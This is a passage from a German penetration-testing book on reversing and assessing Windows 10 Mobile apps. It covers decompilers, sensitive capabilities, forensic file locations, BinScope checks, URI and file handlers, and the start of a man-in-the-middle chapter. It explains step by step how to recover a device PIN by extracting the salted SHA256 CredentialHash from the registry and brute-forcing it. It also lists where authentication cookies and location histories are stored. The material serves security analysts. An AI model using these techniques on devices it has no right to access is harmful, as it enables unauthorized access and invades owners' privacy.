Dies erklärt auch, weshalb der Aufbau des Tools sowie viele der Funktionen<br />

sehr ähnlich sind. Auch die Möglichkeit, die Bibliotheken in unterschiedliche<br />

Zielsprachen zu übersetzen, ist in ILSpy vorhanden, der einzige Unterschied liegt<br />

hierbei in der Anzahl der unterstützten Zielsprachen.<br />

Abbildung 7–3 zeigt die zuvor schon dargestellte Methode ReadRegexString()<br />

in C# innerhalb des Tools ILSpy. Wie man hier sehr gut erkennen kann, ist der<br />

Aufbau des Fensters fast identisch zu dem zuvor erwähnten .NET reflector.<br />

Die Erfahrung hat gezeigt, dass die Open-Source-Lösung ILSpy in den meisten<br />

Fällen ausreicht, um Windows-10-<strong>Mobile</strong>-Applikationen zu analysieren, und<br />

5 ILSpy: http://ilspy.net/ sowie https://github.com/icsharpcode/ILSpy


186 7 Reversing von Windows-10-<strong>Mobile</strong>-Applikationen<br />

Abb. 7–3: Beispiel einer dekompilierten .NET-Bibliothek in ILSpy in C#<br />

man nur selten an die Grenzen gerät, bei denen .NET reflector einen wirklichen<br />

Mehrwert bietet. Da diese Plattform aber noch relativ neu ist und daher auch<br />

einer stetigen Weiterentwicklung unterworfen ist, kann sich diese Einschätzung<br />

aber auch schnell ändern, daher ist es gut, wenn man mehrere Werkzeuge kennt,<br />

die einem beim Reversing unterstützen können.<br />

7.4 Zusammenfassung<br />

In diesem Kapitel haben wir den groben Aufbau von Windows-10-<strong>Mobile</strong>-<br />

Applikationen kennengelernt und dabei gesehen, welches die wichtigen<br />

Komponenten innerhalb des Applikationsmanifests (WMAppManifest.xml oder<br />

AppManifest.xml) sind. Auf diese Komponenten werden wir im folgenden Kapitel<br />

noch genauer eingehen und uns anschauen, warum sie so wichtig für uns beim<br />

Analysieren einer Windows-10-<strong>Mobile</strong>-Applikation sind.<br />

Im weiteren Verlauf des Kapitels wurde gezeigt, wie man an die Bestandteile<br />

einer Applikation kommt und welche Tools es gibt, um diese zu analysieren. Die<br />

wichtigsten Tools für den Zweck des Reversings sind neben dem schon erwähnten<br />

IDA Pro (siehe Abschnitt 5.4.2) vor allem .NET reflector und ILSpy.


187<br />

8 Sicherheitsprobleme bei<br />

Windows-10-<strong>Mobile</strong>-Applikationen<br />

Nachdem wir in Kapitel 7 erste Tools kennengelernt haben, mit denen man Windows-10-<strong>Mobile</strong>-Applikationen<br />

analysieren kann, möchten wir hier nun tiefer in<br />

die Betrachtung der eigentlichen Plattform und ihrer Applikationen eintauchen.<br />

Ein Schwerpunkt dieses Kapitels liegt in der forensischen Auswertung der<br />

Spuren oder Daten, die eine Applikation im Dateisystem zurücklässt. Des Weiteren<br />

werden wir uns ansehen, welche Schutzmechanismen es für Windows-10-<br />

<strong>Mobile</strong>-Applikationen gibt und wie man prüfen kann, ob diese auch vom Entwickler<br />

implementiert wurden. Zum Abschluss wird gezeigt, wie man weitere<br />

Vektoren für manuelle Angriffe bei diesen Applikationen finden kann und wo<br />

das manuelle Pentesten sinnvoll ist.<br />

8.1 Analyse der Zugriffe auf sensible Nutzerdaten<br />

Gerade im Bereich der Analyse von Applikationen zum Einsatz auf privaten oder<br />

geschäftlichen Endgeräten ist es wichtig, dass man die Zugriffe auf sensible Nutzerdaten<br />

(wie z. B. Bilder, Videos und sensible Dokumente) untersucht.<br />

An dieser Stelle wird es deutlich aufwendiger, als wir es bei Android in Abschnitt<br />

4.2 gesehen haben. Dies liegt im Wesentlichen daran, dass es momentan<br />

keine Werkzeuge gibt, die uns bei der Analyse unterstützen – wie z. B. eine dynamische<br />

Analyse in einer überwachten und protokollierten Umgebung –, und wir<br />

daher alle Schritte manuell durchführen müssen.<br />

Die in Tabelle 8–1 abgebildeten Berechtigungen – oder Capabilities, wie sie<br />

bei Windows 10 <strong>Mobile</strong> genannt werden (siehe dazu auch Abschnitt 7.1) – zählen<br />

zu den Berechtigungen, die man als Entwickler nur mit Sorgfalt verwenden<br />

sollte und die für uns als Analysten eine wichtige Rolle spielen. Dies liegt hauptsächlich<br />

daran, dass die damit verbundenen personenbezogenen Daten im Bereich<br />

Datenschutz (Bundesdatenschutzgesetz [5]) eine essenzielle Rolle spielen.<br />

An dieser Stelle gibt es eine gravierende Änderung zwischen Windows<br />

Phone 8.x und Windows 10 <strong>Mobile</strong>: Um als Entwickler von Applikationen auf<br />

das Adressbuch oder den Kalender des Nutzers zugreifen zu dürfen, wurde in<br />

den älteren Versionen immer die Berechtigung (Capability) ID_CAP_CONTACTS bzw.


188 8 Sicherheitsprobleme bei Windows-10-<strong>Mobile</strong>-Applikationen<br />

Berechtigung<br />

documentsLibrary<br />

picturesLibrary<br />

videosLibrary<br />

musicLibrary<br />

enterpriseAuthentication<br />

sharedUserCertificates<br />

location<br />

microphone<br />

webcam<br />

Zugriffsrecht<br />

Zugriff auf die gespeicherten Dokumente eines definierten<br />

Dateityps. Die Dateitypen müssen ebenfalls innerhalb des<br />

Manifests deklariert sein.<br />

Zugriff auf die gespeicherten Bilder auf dem Endgerät.<br />

Zugriff auf die gespeicherten Videos auf dem Endgerät.<br />

Zugriff auf die gespeicherte Musik (z. B. MP3-Dateien) und<br />

die Playlists auf dem Endgerät sowie auf verbundenen<br />

Heimnetzwerk-Computern.<br />

Zugriff auf die hinterlegten Windows-Zugangsdaten für das<br />

firmeneigene Intranet.<br />

Zugriff auf Soft-/Hardware-Zertifikate sowie auf eine<br />

eventuell vorhandene Smartcard und deren Zertifikate.<br />

Zugriff auf die aktuelle Position des Nutzers (GPS oder<br />

Triangulation).<br />

Zugriff auf das verbaute Mikrofon des Endgerätes.<br />

Zugriff auf die verbaute Kamera des Endgerätes.<br />

Tab. 8–1: Liste der kritischen (Device-)Capabilities in Windows 10 <strong>Mobile</strong><br />

ID_CAP_APPOINTMENTS benötigt. Seit Windows 10 <strong>Mobile</strong> benötigt man keine Capabilities<br />

mehr, um auf diese Daten zuzugreifen. Dies macht es für den Analysten<br />

deutlich schwerer, herauszufinden, ob eine Applikation unerwünschterweise auf<br />

diese sensiblen Daten zugreift oder nicht, da im Manifest der Applikation keine<br />

Hinweise mehr auf diese Zugriffe zu finden sind.<br />

Für den Nutzer gibt es aber auch unter Windows 10 <strong>Mobile</strong> die Möglichkeit,<br />

sich die Applikationen anzeigen zu lassen, die Zugriff auf persönliche Daten wie<br />

das Adressbuch und den Kalender verlangen. Dies geschieht über Einstellungen<br />

Datenschutz wie in Abbildung 8–1 zu sehen ist.<br />

Findet man innerhalb des Manifests (WMAppManifest.xml oder AppManifest.xml)<br />

die zuvor beschriebenen Capabilities – und sind diese nicht durch die Funktion<br />

der Applikation direkt erklärbar –, lohnt sich meist ein Blick in den Quellcode,<br />

um herauszufinden, was die Applikation mit diesen Rechten vorhat. Wie man<br />

hierbei vorgeht, ist in Abschnitt 7.2 exemplarisch beschrieben.


8.2 Spurensuche im Dateisystem 189<br />

Abb. 8–1: Datenschutzeinstellungen in Windows 10 <strong>Mobile</strong><br />

8.2 Spurensuche im Dateisystem<br />

Wie wir schon bei Android (in Abschnitt 4.7) und iOS (in Abschnitt 6.4) gesehen<br />

haben, besteht eine sehr wichtige Aufgabe bei einem Penetrationstest darin, die<br />

Speicherung der Daten zu analysieren, die eine Applikation verarbeitet. Auch bei<br />

Windows 10 <strong>Mobile</strong> lassen sich hier sehr häufig Hinweise auf Nutzerdaten (wie<br />

z. B. Passwörter) und sensible Dokumente finden, die mit der Applikation zuvor<br />

verarbeitet wurden.<br />

Im Rahmen der kommenden Abschnitte sehen wir uns interessante Daten<br />

und deren Speicherort an, die für einen Sicherheitsanalysten immer einen Blick<br />

wert sind. Zu diesen Orten zählen neben den Nutzer- und Applikationsdaten<br />

(Abschnitt 8.2.2) auch die Cache-Dateien und Cookies der Applikation (Abschnitt<br />

8.2.3).<br />

Ähnlich wie auch bei Android gibt es bei Windows 10 <strong>Mobile</strong> bekannte Wege,<br />

wie man an der Bildschirmsperre vorbeikommt, ohne dass man die Mitarbeit<br />

des Nutzers erhält. Darauf gehen wir in Abschnitt 8.2.1 kurz ein.


190 8 Sicherheitsprobleme bei Windows-10-<strong>Mobile</strong>-Applikationen<br />

8.2.1 Die PIN-Sperre brechen<br />

Um bei einem Windows-10-<strong>Mobile</strong>-Endgerät die PIN des Nutzers zu berechnen,<br />

ist es – wie auch schon bei Android – nötig, Zugriff auf das unverschlüsselte<br />

Dateisystem zu haben. Dieser Punkt ist immer einer der strittigsten, denn wenn<br />

man schon Zugriff auf das Dateisystem hat, wieso soll man sich dann noch die<br />

Mühe machen, die PIN für die Bildschirmsperre mühselig zu berechnen? Ganz<br />

einfach: Die meisten Nutzer verwenden diese PIN auch an anderen Stellen auf<br />

dem Smartphone. Hierzu zählen u. a. weitere Applikationen, die zusätzlich mit<br />

einer PIN geschützt sind, oder auch der Login an einem Windows 10-Rechner im<br />

Büro. Somit kann es also durchaus lohnenswert sein, die PIN auf dem Smartphone<br />

zu berechnen (wo man weiß, wie es geht).<br />

Francesco Picasso und Mattia Epifani (beide von Zena Forensic) sowie Adrian<br />

Leong (bekannt unter dem Pseudonym Cheeky4n6Monkey) haben in mehreren<br />

Veröffentlichungen gezeigt, wie man an die PIN des Nutzers auf einem<br />

Windows-10-<strong>Mobile</strong>- und Windows-Phone-8.x-Endgerät gelangt. Im Folgenden<br />

wird dies kurz zusammengefasst und das Wichtigste daraus für einen Sicherheitsanalysten<br />

dieser Plattform demonstriert. Sie haben auch zwei Python-Skripte1 , 2<br />

zur Verfügung gestellt, die das Berechnen der PIN übernehmen.<br />

Zur Demonstration nehmen wir an, dass der PIN-Code eines Windows-10-<br />

<strong>Mobile</strong>-Endgerätes 5338 lautet. Nun stellt sich also die Frage, wie kommen wir<br />

an diesen Code, wenn wir nur das Gerät haben?<br />

Im ersten Schritt benötigen wir Root-Zugriff oder einen physischen Dump des<br />

Endgerätes, der z. B. durch Auslesen des Speichers gewonnen werden kann. Dieser<br />

Schritt ist mit Abstand der aufwendigste, vor allem wenn es um das Erstellen eines<br />

physischen Abbilds geht, da man hierfür teure Spezialhardware und eine Menge<br />

an Übung benötigt. Für unser Beispiel gehen wir davon aus, dass wir Root-Zugriff<br />

auf das Endgerät haben.<br />

Im zweiten Schritt wollen wir erste Hinweise auf die PIN finden. Dazu wechseln<br />

wir in die Registry und dort in den SOFTWARE-Hive. Innerhalb dieses Hives<br />

suchen wir nach \Microsoft\Comms\Security\DeviceLock\. An dieser Stelle sollten<br />

wir nun mehrere Verzweigungen finden, die ObjectXXX heißen (wobei XXX eine<br />

zwei- oder dreistellige Nummer ist). In jeder dieser Verzweigungen kann sich der<br />

entscheidende Hinweis auf die PIN – nämlich der CredentialHash – befinden. In<br />

unserem Beispiel sieht er wie folgt aus:<br />

1 winphonepincrk:<br />

https://github.com/RealityNet/hotoloti/blob/master/sas/winphonepincrk.py<br />

2 wp8-sha256-pin-finder:<br />

https://github.com/cheeky4n6monkey/4n6-scripts/blob/master/wp8-sha256-pin-finder.py


8.2 Spurensuche im Dateisystem 191<br />

80 00 00 00 0E 00 00 00 20 00 00 00 0E A6 31 F7<br />

C9 A4 71 58 20 7C C1 4D D5 B1 55 AF 87 0E 95 1C<br />

35 7C F4 A2 0E 4F 83 A5 26 1F D9 01 1D 25 AB 2D<br />

D1 5B D2 FE D4 DC 7E 49 33 86 2B E5 A3 B9 1F 6D<br />

A7 59 A0 31 0B 59 A7 E3 59 30 51 1C 4F B5 EC 8F<br />

7E D0 9A 07 A7 A2 8B 26 A7 CC 15 F0 FC AF F7 E4<br />

24 7D A0 9E 0B EB 2B 78 50 5B DA 5B B6 C6 76 C3<br />

05 BB BC 2C 06 9E E0 00 39 3B ED 24 E6 86 D3 5D<br />

21 A1 E8 9D 99 C3 70 67 C9 F4 DD ED 53 00 48 00<br />

41 00 32 00 35 00 36 00 00 00 F9 CD B5 90 E8 7D<br />

9F 88 1E 6A FF 5E C9 BB 5C 0B 27 7E 21 48 9D 9B<br />

89 3F 84 13 82 3A A9 9D 10 36<br />

Der Aufbau dieses Byte-Arrays ist recht einfach, wie man auch schon an der<br />

Hervorhebung sehen kann:<br />

Das erste DWORD (also die ersten 4 Byte) gibt die Länge des Salt an, mit<br />

dem unser Hash so manipuliert wird, damit das Verwenden einer Rainbow Table<br />

nicht möglich wird (0x80, was 128 Byte entspricht). Das zweite DWORD gibt<br />

die Länge des Strings an, der den Hashalgorithmus beschreibt (0x0E, was 14 Byte<br />

entspricht), und das dritte DWORD steht für die Länge des eigentlichen gesalzenen<br />

Hashes unserer PIN (0x20, was 32 Byte entspricht).<br />

Durch diese Längenangaben können wir nun also schon alle drei Bestandteile<br />

– die wir im weiteren Verlauf benötigen – extrahieren:<br />

1. Salt<br />

2. Hashalgorithmus<br />

3. Gesalzener Hash unserer PIN<br />

Um den Hashalgorithmus in für uns verständlicher Form zu bekommen, müssen<br />

wir nur die Bytefolge 53 00 48 00 41 00 32 00 35 00 36 00 00 00 von Hex in<br />

ASCII umwandeln, was SHA256 ergibt.<br />

Nun können wir entweder manuell eine PIN, von der wir vermuten, dass sie<br />

die vom Nutzer verwendete ist, mittels des folgenden Pseudocodes überprüfen<br />

oder wir können die zuvor schon erwähnten Python-Skripte von Francesco Picasso<br />

oder Adrian Leong verwenden, die einen Brute-Force-Angriff auf unsere<br />

extrahierten Werte starten.<br />

SHA256(UTF-16LE() + Salt) == gesalzener Hash<br />

8.2.2 Applikations- und Geodaten finden<br />

Nachdem wir nun zum einen die PIN des Nutzers kennen und damit die Bildschirmsperre<br />

umgehen können, aber zum anderen auch Root-Rechte im Datei-


192 8 Sicherheitsprobleme bei Windows-10-<strong>Mobile</strong>-Applikationen<br />

system haben, können wir uns hier auch nach interessanten Daten des Nutzers<br />

und der installierten Applikationen umschauen.<br />

Für die Applikationen selbst und ihre Daten ist das deutlich einfacher, da sie<br />

alles, was sie auf dem Gerät lokal ablegen können, nur in ihrer eigenen Sandbox<br />

speichern können. Diese befindet sich unter C:\Data\Users\DefApps\APPDATA\Local\<br />

Packages\. Hier finden wir alle Datenbanken, auf die die ausgewählte<br />

Applikation Zugriff hat, aber auch alle Dokumente, die sie zwischenspeichert<br />

oder zum Analysezeitpunkt geöffnet hat. Hier sehen wir auch, ob eine Applikation<br />

die lokalen Daten verschlüsselt – also selbst dafür sorgt, dass sie vor<br />

unberechtigten Dritten geschützt sind – oder ob sie sich voll auf das darunterliegende<br />

Betriebssystem verlässt.<br />

Ebenso wichtig wie die Daten der Applikationen selbst sind auch Daten, die<br />

den Nutzer des Endgerätes betreffen. Wo befand sich der Nutzer (oder zumindest<br />

das Smartphone) zu einem bestimmten Zeitpunkt?<br />

Um diese Frage beantworten zu können, benötigen wir Geodaten, die das<br />

Smartphone für uns abgelegt hat. Im Folgenden werden ein paar der gängigen<br />

Orte aufgezeigt, wo man diese Art der Daten außerhalb von manuell installierten<br />

Applikationen noch finden kann. Hierzu zählt z. B. der Verlauf der Funktion<br />

FindMyPhone, die Microsoft seit Windows Phone 8 anbietet. Diese Daten liegen<br />

auf dem Endgerät in csd-Dateien unter C:\Data\Users\APPDATA\Local\dcpsvc\<br />

StagingFiles\.<br />

Ebenso finden sich u. U. Geodaten in den Daten von Cortana, dem Sprachassistenten<br />

von Windows 10. Hier gibt es sogenannte Grammar-Dateien, die im Dateisystem<br />

unter C:\Data\SharedData\Speech\Grammars\ enthalten sind. Für Geodaten<br />

sind die Dateien PointsOfInterestGrammar.cfp.txt und PointsOfInterest2Grammar<br />

.cfp.txt besonders von Interesse, da sich hier alle Orte befinden, die der Nutzer<br />

Cortana beigebracht hat, also z. B. so etwas wie »Zuhause« oder »Arbeit« –<br />

selbstverständlich mit den zugehörigen GPS-Daten.<br />

Schlussendlich gibt es – wie üblich für die meisten der aktuellen Browser –<br />

auch noch GPS-Daten innerhalb der Vorschläge des Browsers, die er dem Nutzer<br />

während der Suchanfragen gemacht hat. Diese findet man in der Registry<br />

im SOFTWARE-Hive unter Microsoft\BingSuggests. Im selben Hive, jedoch unter<br />

OEM\Nokia\NokiaAccessories\Devices\, findet man auch einen Eintrag,<br />

wo das Gerät zuletzt aktiv war.<br />

Mit diesen Hinweisen und den analysierten Applikationsdateien kann man<br />

die Frage nach dem Aufenthalt des Endgerätes und damit auch seines Besitzers<br />

in den meisten Fällen recht zuverlässig beantworten. Wichtig dabei ist jedoch,<br />

immer zu beachten, dass man nie einer einzelnen Quelle ohne weitere Hinweise<br />

glauben sollte. Es gab schon viele Fälle, wo ein Gerät falsche Geodaten zu einem<br />

Ereignis abgelegt hat.


8.3 Fehlende systemeigene Sicherheitsfunktionen ... 193<br />

Wer noch tiefer in die Forensik von Nutzerdaten unter Windows 10 <strong>Mobile</strong><br />

einsteigen möchte, sollte sich auf jeden Fall den Blogeintrag3 von Adrian Leong<br />

zu diesem Thema genauer anschauen.<br />

8.2.3 Cookies und Web-Cache finden und analysieren<br />

Windows-10-<strong>Mobile</strong>-Applikationen, die eine Browser- oder Webview-Funktionalität<br />

anbieten – was auf die Mehrzahl der vorhandenen Applikationen zutrifft<br />

–, verwenden hierzu den Basisquellcode aus der API-Dokumentation. Diese<br />

Beispielimplementationen enthalten keine Hinweise darauf, wie man angelegte<br />

Cookies auch wieder löscht, sobald sie nicht mehr benötigt werden. Genau das<br />

können wir uns als Analysten oder Angreifer zunutze machen, um nach Cookies<br />

zu suchen, die zur Authentifizierung verwendet werden.<br />

Auf einem Windows-10-<strong>Mobile</strong>-Endgerät finden wir diese Cookies unter<br />

C:\Data\Users\DefApps\APPDATA\\INetCookies\. Dabei ist jedoch zu beachten,<br />

dass das Verzeichnis INetCookies im System als versteckt definiert ist und<br />

man den Pfad von Hand eingeben muss, der Dateiexplorer wird dieses Verzeichnis<br />

beim Browsen durch den Verzeichnisbaum nicht angeben.<br />

Möchte man als Entwickler verhindern, dass ein Angreifer oder Analyst diese<br />

Cookies finden und gegen den Nutzer verwenden kann, so reicht es aus, beim<br />

Beenden der Applikation oder beim Sperren des Bildschirms dafür zu sorgen, dass<br />

die eigene Applikation die Cookies löscht. Dies gelingt z. B. durch Verwenden der<br />

ClearCookiesAsync()-API.<br />

Was für die Cookies gilt, gilt leider auch für den HTTP- und HTTPS-Cache<br />

der Applikation. Dieser befindet sich wieder in einem versteckten Verzeichnis.<br />

Diesmal jedoch unter: C:\Data\Users\DefApps\APPDATA\\INetCache\. Hier<br />

findet man alles, was die Applikation durch die Browser- oder Webview-Funktionalität<br />

auf das Endgerät zum Zwischenspeichern heruntergeladen hat.<br />

8.3 Fehlende Sicherheitsfunktionen in<br />

Windows-10-<strong>Mobile</strong>-Applikationen erkennen<br />

Wie wir schon bei iOS gesehen haben, gibt es auch bei Applikationen für Windows<br />

10 <strong>Mobile</strong> (sowie auch für die Vorgängerversionen Windows Phone 7.x<br />

und 8.x) einige Sicherheitsfunktionen, die für native Bestandteile der Applikation<br />

implementiert sein müssen. Hierzu zählen u. a. die folgenden:<br />

■<br />

■<br />

■<br />

ALSR<br />

DEP<br />

AppContainer Checks<br />

3 An Initial Peep at Windows 10 <strong>Mobile</strong>: http://cheeky4n6monkey.blogspot.de/2016/<br />

04/an-initial-peep-at-windows-10-mobile.html


194 8 Sicherheitsprobleme bei Windows-10-<strong>Mobile</strong>-Applikationen<br />

■<br />

■<br />

■<br />

■<br />

■<br />

WX Check<br />

Executable Import Checks<br />

Shared Section Checks<br />

Stack Overflow Protection<br />

Stack Cookies Checks<br />

Um diese Funktionen zu prüfen, bietet Microsoft ein eigenes Tool an: BinScope<br />

Binary Analyzer4 . Hiermit ist es über eine gut strukturierte Oberfläche möglich,<br />

alle Features zu prüfen, die innerhalb einer Applikation vorhanden sein sollten<br />

(siehe dazu auch Abbildung 8–2).<br />

Abb. 8–2: BinScope Binary Analyzer-Konfiguration<br />

Bei diesem Vorgehen ist jedoch zu beachten, dass man BinScope nicht mit der<br />

gepackten Applikation als xap- oder appx-Datei füttern darf. Man muss zuerst die<br />

Applikation entpacken und kann dann die nativen Bestandteile der Applikation<br />

einzeln mithilfe von BinScope analysieren. Gerade bei großen Applikationen mit<br />

vielen Bestandteilen macht es das sehr aufwendig.<br />

Für jedes der analysierten Binaries gibt es nach Abschluss der Prüfung eine<br />

Übersicht innerhalb von BinScope mit Details zu den nicht bestandenen Tests<br />

(siehe Abbildung 8–3 für ein Beispiel) und einen ausführlicheren Bericht, den man<br />

sich als CSV- oder XML-Datei exportieren kann (siehe dazu Abbildung 8–4).<br />

Viele dieser Checks sind bereits Bestandteil der Zertifizierung durch Microsoft<br />

und gehören somit zu den Bedingungen, damit eine Applikation in den offiziellen<br />

Store aufgenommen werden kann. Jedoch sollte man beim Betrachten<br />

4 BinScope Binary Analyzer: https://www.microsoft.com/en-us/download/details.aspx?<br />

id=44995


8.3 Fehlende systemeigene Sicherheitsfunktionen ... 195<br />

Abb. 8–3: BinScope Binary Analyzer-Ergebnis<br />

Abb. 8–4: BinScope Binary Analyzer-Bericht<br />

einer Windows-10-<strong>Mobile</strong>-Applikation immer die vollständige Prüfung mittels<br />

BinScope vornehmen, um sicherzustellen, dass der Entwickler auch alle notwendigen<br />

und empfohlenen Sicherheitsfunktionen in die Applikation implementiert<br />

hat.


196 8 Sicherheitsprobleme bei Windows-10-<strong>Mobile</strong>-Applikationen<br />

8.4 Weitere Angriffsvektoren erkennen<br />

Neben den in diesem Kapitel bereits erwähnten Einstiegspunkten in eine Applikation<br />

gibt es noch weitere sogenannte Angriffsvektoren, die man bei einer Sicherheitsuntersuchung<br />

einer Applikation in Betracht ziehen sollte. Hierzu zählen<br />

vor allem registrierte Handler für Dateitypen oder Protokolle. Die Arbeit von uns<br />

Analysten liegt hier im eigentlichen Fuzzing, dem Füttern der Applikation mit<br />

Eingaben, die sie an dieser Stelle nicht erwartet.<br />

8.4.1 Handler für Dateitypen<br />

Codebeispiel 8–1 zeigt einen einfachen Auszug aus einem Windows-10-<strong>Mobile</strong>-<br />

Manifest mit der Deklaration von zwei Dateitypen: .txt und .docx. Eine Applikation,<br />

die diese Tags in ihrem Manifest hat, ist in der Lage, Dateien mit den<br />

beiden erwähnten Dateiendungen zu öffnen. Da viele der Applikationen noch für<br />

den Vorgänger Windows Phone 8.x erstellt wurden, ist in Codebeispiel 8–2 der<br />

Auszug aus einem entsprechenden Manifest dargestellt.<br />

<br />

.txt<br />

.docx<br />

<br />

Codebeispiel 8–1: Auszug aus einem Windows-10-<strong>Mobile</strong>-Manifest mit deklarierten Dateitypen<br />

<br />

.txt<br />

.docx<br />

<br />

Codebeispiel 8–2: Auszug aus einem Windows-Phone-8.x-Manifest mit deklarierten Dateitypen<br />

Dabei ist gerade bei .docx-Dateien die Möglichkeit vorhanden, dass eingebetteter<br />

Code beim Öffnen der Datei von der Applikation ausgeführt wird, was bei fehlerhaften<br />

Prüfroutinen zu ungewollten Aktionen führen kann. Solche Angriffsvektoren<br />

sollten immer kontrolliert werden, da sich hier gravierende Sicherheitslücken<br />

verstecken können und schadhafte Office-Dokumente in der Vergangenheit immer<br />

wieder Einstiegspunkte für Angriffe und Infektionen waren.


8.5 Zusammenfassung 197<br />

8.4.2 Handler für eigene Protokolle<br />

Neben den gerade erwähnten Handler für Dateitypen gibt es auch die Möglichkeit,<br />

eigene Protokolle mit einer Applikation zu verbinden. Dies ist bei vielen<br />

aktuellen Applikationen – wie z. B. Facebook, Twitter oder Syncplicity – der Fall.<br />

In Codebeispiel 8–3 ist ein Auszug aus einem Manifest abgebildet, bei dem<br />

die zugehörige Applikation auf Protokolle des Typs hackme:// reagiert. Dies bedeutet,<br />

dass jedes Mal, wenn in irgendeiner anderen Applikation oder dem Browser<br />

ein Link auftaucht, der mit diesem Protokoll-Handler beginnt, die zugehörige<br />

Applikation gestartet und der Link interpretiert bzw. verarbeitet wird. Hat die<br />

Applikation Schwächen in der Validierung der Übergabewerte – also in dem Bestandteil,<br />

der dem Protokoll-Handler hackme:// folgt –, können diese Schwächen<br />

von Angreifern, aber auch von Analysten ausgenutzt werden, um der Applikation<br />

Informationen zu entlocken, die sie eigentlich nicht preisgeben würde.<br />

<br />

<br />

<br />

Codebeispiel 8–3: Auszug aus einem AppManifest.xml mit deklarierten Protokollen<br />

8.5 Zusammenfassung<br />

Wie man an anhand dieses Kapitels – vor allem im Vergleich zu den entsprechenden<br />

Kapiteln für Android und iOS – erkennen kann, ist die Windows-10-<strong>Mobile</strong>-<br />

Welt noch relativ unerforscht, was die Analyse der Applikationen und der darin<br />

enthaltenen potenziellen Sicherheitslücken angeht. Auch die Auswahl an Werkzeugen<br />

oder Leitfäden, die einen Analysten hier unterstützen, sind im Vergleich<br />

zu den anderen Betriebssystemen nahezu nicht vorhanden.<br />

Trotz allem wurden einige hilfreiche Werkzeuge und Einstiegspunkte in die<br />

Analyse demonstriert sowie Hinweise gegeben, wo es sich lohnt, etwas genauer<br />

hinzuschauen und mehr manuelle Arbeit zu investieren. Dabei sind vor allem<br />

der Bereich der forensischen Analyse (Abschnitt 8.2) und die Zugriffe auf sensible<br />

Daten (Abschnitt 8.1) wichtige Aspekte einer Applikationsuntersuchung und<br />

sollten daher auf jeden Fall durchgeführt werden.<br />

Wer es im Alltag noch mit den älteren Versionen dieser Applikationen zu tun<br />

hat, der findet eine sehr gute Betrachtung der Sicherheit von Windows-Phone-<br />

8.x-Applikationen in einem Whitepaper5 von MWR-Labs [12].<br />

5 Whitepaper zur Sicherheit von Windows-Phone-8.x-Applikationen: https://<br />

labs.mwrinfosecurity.com/publications/windows-phone-8-application-security-slidessyscan-2014/


199<br />

9 Angriffe auf die Datenübertragung<br />

In der heutigen Zeit, in der es den Nutzern immer mehr auf die Sicherheit der<br />

privaten Daten ankommt und die Bevölkerung sehr stark den Bereich des Datenschutzes<br />

und der Privatsphäre schätzt, sind auch mobile Applikationen von<br />

diesem wichtigen Trend betroffen.<br />

Im Wesentlichen werden wir in diesem Kapitel auf die drei häufigsten der<br />

möglichen Angriffe auf eine mit SSL gesicherte Verbindung zwischen Applikation<br />

und Backend eingehen: klassische Man-in-the-Middle-Angriffe mit (nicht-)<br />

vertrauenswürdigen Zertifikaten, die Umgehung des Certificate Pinning sowie<br />

SSL-Strip.<br />

9.1 Schutz der übermittelten Daten auf dem<br />

Transportweg<br />

Immer mehr Webseiten und -services bieten ihren Dienst nur noch per verschlüsselter<br />

Verbindung an, um damit die Datenübermittlung auf dem Transportweg<br />

vor unberechtigten Dritten zu schützen. Im Volksmund wird diese Verschlüsselung<br />

oft Secure Sockets Layer (SSL) genannt – auch wenn dies für heutige Verbindungen<br />

meist nicht mehr zutrifft.<br />

SSL war der Grundstein, auf dem in den vergangenen Jahren viele neue Verschlüsselungsstandards<br />

aufgebaut wurden. Jedoch sind vor allem die älteren SSL-<br />

Protokollversionen in den vergangenen Jahren Ziel von standardisierten Angriffen<br />

geworden oder besitzen gravierende Schwächen in der Implementierung, die<br />

eine Sicherheit der Übertragung nicht mehr gewährleisten. Heutzutage verwenden<br />

die meisten Webseiten daher die neueren Protokollversionen, die unter dem<br />

Namen Transport Layer Security (TLS) bekannt sind. Der aktuelle Standard ist<br />

TLS1.2. Im Rahmen dieses Buches halten auch wir uns an die gebräuchliche Deklaration<br />

und verwenden SSL als Synonym für alle Protokollversionen.<br />

Auf welche Protokollversion sich die Applikation und der Backend-Server<br />

einigen, ist für die im Folgenden gezeigten Angriffe jedoch nicht von Interesse:<br />

Wir konzentrieren uns hierbei nicht auf Schwachstellen in der Implementierung<br />

des Protokolls selbst, sondern nur auf Schwachstellen oder Designfehler in der<br />

Anbindung dieser Protokolle innerhalb der mobilen Applikationen. Denn dies


200 9 Angriffe auf die Datenübertragung<br />

sind auch die Fehler, die ein Entwickler schnell beseitigen kann, um die Sicherheit<br />

und das Vertrauen in die Applikation wieder herzustellen.<br />

Exkurs: SSL-Verbindung<br />

Prinzipiell handelt es sich bei einer SSL-Verbindung um ein hybrides Verschlüsselungsprotokoll<br />

zur sicheren Datenübertragung, d. h., es kommt sowohl eine symmetrische<br />

Verschlüsselung (beim Session-Key) als auch eine asymmetrische Verschlüsselung<br />

(beim Schlüsselaustausch) zum Einsatz. Dabei baut der Client (hier<br />

die mobile Applikation) eine Verbindung zum Backend-Server auf. Der Backend-<br />

Server authentisiert sich gegenüber dem Client mit einem X.509-Zertifikat, das vom<br />

Client speziell in Bezug auf die Gültigkeit und die Übereinstimmung des Servernamens<br />

geprüft wird.<br />

Im Anschluss an eine erfolgreiche Prüfung schickt entweder der Client dem<br />

Server eine mit dem öffentlichen Schlüssel des Servers verschlüsselte geheime<br />

Zufallszahl oder die beiden Parteien berechnen mithilfe des Diffie-Hellman-<br />

Schlüsselaustauschs ein gemeinsames Geheimnis. Aus dem Geheimnis wird dann<br />

ein kryptografischer Schlüssel abgeleitet, der in der Folge genutzt wird, um alle<br />

Nachrichten der Verbindung mit einem symmetrischen Verschlüsselungsverfahren<br />

zu verschlüsseln und somit vor unberechtigten Dritten zu schützen.<br />

9.2 Man-in-the-Middle-Angriffe<br />

Ziel des Man-in-the-Middle-Angriffs (MitM) ist es, sich Schwächen in der Implementierung<br />

einer Applikation zunutze zu machen, um sich in diese Verbindung<br />

einzuklinken und den übermittelten Datenstrom zu entschlüsseln.<br />

Bei Angriffen dieser Art setzt sich der Angreifer, oder in unserem Fall der Sicherheitsanalyst,<br />

zwischen das mobile Endgerät und den Backend-Server. Dies<br />

geschieht entweder dadurch, dass der Rechner des Analysten als Proxy für<br />

HTTP- und HTTPS-Verbindungen konfiguriert wird, oder durch sogenannte<br />

ARP-Spoofing-Angriffe, bei der der Rechner des Analysten vorgibt, der Router<br />

zu sein. In beiden Fällen erhält der Analyst alle Datenpakete und kann selbst<br />

bestimmen, wohin sie weitergeleitet werden.<br />

Der obere Bereich von Abbildung 9–1 zeigt eine schematische Darstellung<br />

